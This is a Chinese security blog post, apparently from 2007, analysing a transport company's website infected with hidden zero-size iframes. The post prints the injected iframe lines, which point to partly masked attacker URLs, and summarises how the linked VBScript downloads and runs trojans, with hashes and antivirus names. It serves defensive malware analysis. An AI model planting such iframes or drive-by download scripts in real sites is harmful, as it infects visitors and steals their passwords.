某市长运运输集团有限公司网站被挂马Trojan.PSW.JHOnline.fcd等

心已赠人 2024-02-17 13:49 14阅读 0赞

**endurer** 原创

2007-02-12 第**1**版

该网站首页首部被加入代码：  
/--------  
＜iframe src=hxxp://g\*\*\*m\*\*06.z\*\*kd\*\*520.cn/k\*\*k\*k/wm.htm width=0 height=0＞＜/iframe＞  
＜iframe src=hxxp://www.y\*x\*\*\*gm\*\*\*7\*8.com/mh/mh.htm width=0 height=0＞＜/iframe＞  
＜iframe src=hxxp://www.y\*x\*\*\*gm\*\*\*7\*8.com/mh/wow.htm width=0 height=0＞＜/iframe＞  
＜iframe src=hxxp://www.2\*\*\*s\*s\*\*s\*s.com/qq/pop.htm width=0 height=0＞＜/iframe＞  
\--------/

中部被加入代码：  
/--------  
＜iframe src=hxxp://ll78.com/qq/2.asp width=0 height=0＞＜/iframe＞  
＜iframe src="hxxp://ll78.com/index1.asp" width=0 height=0＞＜/iframe＞  
＜iframe src="hxxp://ll78.com/xiao.htm" width=0 height=0＞＜/iframe＞  
\--------/

**1、hxxp://g\*\*\*m\*\*06.z\*\*kd\*\*520.cn/kkk/wm.htm**

包含有使用escape()加密的VBScript脚本程序，功能是利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件1.exe，保存为 %temp%/asde.exe，利用Shell.Application 对象 Q 的 ShellExecute 方法 来运行 。  
/--------  
文件说明符 : d:/test/1.exe  
属性 : A---  
获取文件版本信息大小失败!  
创建时间 : 2007-2-11 22:45:52  
修改时间 : 2007-2-11 22:45:54  
访问时间 : 2007-2-11 0:0:0  
大小 : 59121 字节 57.753 KB  
MD5 : 42488f09828498af6c511bc1df294791  
\--------/  
Kaspersky报为：**Backdoor.Win32.Agent.aex**

**2、hxxp://www.y\*x\*\*\*gm\*\*\*7\*8.com/mh/mh.htm**

包含VBScript脚本程序，功能是利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件mh.exe，保存为 %temp%/IE601.com，利用Shell.Application 对象 Q 的 ShellExecute 方法 来运行。  
/--------  
文件说明符 : d:/test/mh.exe  
属性 : A---  
获取文件版本信息大小失败!  
创建时间 : 2007-2-11 22:50:30  
修改时间 : 2007-2-11 22:50:32  
访问时间 : 2007-2-11 0:0:0  
大小 : 20480 字节 20.0 KB  
MD5 : 249bbfd18001ff78d14e0b8d7bfb4596  
\--------/

采用 UPX 0.89.6 - 1.02 / 1.05 - 1.24 -＞ Markus & Laszlo 加壳

Kaspersky报为：**Trojan-PSW.Win32.OnLineGames.fb**

<table> 
 <tbody> 
  <tr> 
   <td> <p><strong>Scanned file:&nbsp;&nbsp; <span style="COLOR: #005447">mh.exe <font>- Infected </font></span></strong></p> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td><strong><font>mh.exe - infected by <a href="http://www.viruslist.com/en/find?words=Trojan-PSW.Win32.OnLineGames.fb" rel="nofollow"><font>Trojan-PSW.Win32.OnLineGames.fb</font></a> </font><br></strong><br> <h4 style="MARGIN-BOTTOM: 0px; PADDING-BOTTOM: 0px">Statistics:</h4> 
    <table style="BORDER-RIGHT: #005447 1px solid; BORDER-TOP: #005447 1px solid; BORDER-LEFT: #005447 1px solid; BORDER-BOTTOM: #005447 1px solid"> 
     <tbody> 
      <tr> 
       <td align="right">Known viruses:</td> 
       <td align="left">266800</td> 
       <td align="right">Updated:</td> 
       <td align="left">11-02-2007</td> 
      </tr> 
      <tr> 
       <td align="right">File size (Kb):</td> 
       <td align="left">20</td> 
       <td align="right">Virus bodies:</td> 
       <td align="left">1</td> 
      </tr> 
      <tr> 
       <td align="right">Files:</td> 
       <td align="left">1</td> 
       <td align="right">Warnings:</td> 
       <td align="left">0</td> 
      </tr> 
      <tr> 
       <td align="right">Archives:</td> 
       <td align="left">0</td> 
       <td align="right">Suspicious:</td> 
       <td align="left">0</td> 
      </tr> 
     </tbody> 
    </table> </td> 
  </tr> 
 </tbody> 
</table>

瑞星报为： **Trojan.PSW.JHOnline.fcd**

**3、hxxp://www.y\*x\*\*\*gm\*\*\*7\*8.com/mh/wow.htm**

包含VBScript脚本程序，功能是利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件wow.exe，保存为 %temp%/IE603.com，利用Shell.Application 对象 Q 的 ShellExecute 方法 来运行。

/--------  
文件说明符 : d:/test/wow.exe  
属性 : A---  
获取文件版本信息大小失败!  
创建时间 : 2007-2-11 22:50:47  
修改时间 : 2007-2-11 22:50:48  
访问时间 : 2007-2-11 0:0:0  
大小 : 45056 字节 44.0 KB  
MD5 : f6d6c2e4bb78416e9e74638be1fc4a8d  
\--------/

采用BERO加壳  
Kaspersky报为：**Trojan.Win32.Agent.abf**  
Dr.Web报为：**Trojan.Havedo**

hxxp://www.2\*\*\*s\*s\*\*s\*s.com/qq/pop.htm  
hxxp://l\*l\*\*\*7\*8.com/qq/2.asp  
hxxp://l\*l\*\*\*7\*8.com/index1.asp  
hxxp://l\*l\*\*\*7\*8.com/xiao.htm

均无法找到该页